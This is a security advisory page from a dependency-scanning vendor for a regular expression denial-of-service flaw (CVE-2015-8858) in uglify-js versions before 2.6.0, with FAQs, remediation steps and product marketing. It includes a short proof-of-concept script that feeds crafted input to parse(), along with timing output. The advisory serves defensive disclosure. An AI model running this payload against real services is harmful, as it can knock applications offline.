How severe is GHSA-c9f4-xj24-8jqx?

GHSA-c9f4-xj24-8jqx has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-c9f4-xj24-8jqx?

GHSA-c9f4-xj24-8jqx affects the following packages: uglify-js (npm). Ecosystems affected: npm.

How do I fix GHSA-c9f4-xj24-8jqx?

Update uglify-js to 2.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c9f4-xj24-8jqx is resolved across your whole dependency graph.

How do I detect GHSA-c9f4-xj24-8jqx in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for uglify-js. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-c9f4-xj24-8jqx if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-c9f4-xj24-8jqx?

O3 pinpoints whether GHSA-c9f4-xj24-8jqx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-c9f4-xj24-8jqx actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-c9f4-xj24-8jqx, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What type of vulnerability is GHSA-c9f4-xj24-8jqx?

GHSA-c9f4-xj24-8jqx is classified as CWE-399 (CWE-399). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-c9f4-xj24-8jqx published, and has it been updated?

GHSA-c9f4-xj24-8jqx was published on October 24, 2017 and was last updated on November 8, 2023. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-c9f4-xj24-8jqx

HIGH

Regular Expression Denial of Service in uglify-js

Also known asCVE-2015-8858

Published

Oct 24, 2017

Updated

Nov 8, 2023

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

uglify-jsnpm

45.5Mdownloads / week

Description

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`uglify-js`	all versions	2.6.0

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

The uglify-js package before 2.6.0 for Node.js allows attackers to cause…

nodesecurity.ioNVDMar 2017

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for uglify-js. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update uglify-js to 2.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c9f4-xj24-8jqx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-c9f4-xj24-8jqx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-c9f4-xj24-8jqx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method. ### Proof of Concept ``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ``` ### Results ``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s $ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ``` ## R

O3 Security · Impact-Aware SCA

Is GHSA-c9f4-xj24-8jqx in your dependencies?

O3 detects GHSA-c9f4-xj24-8jqx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works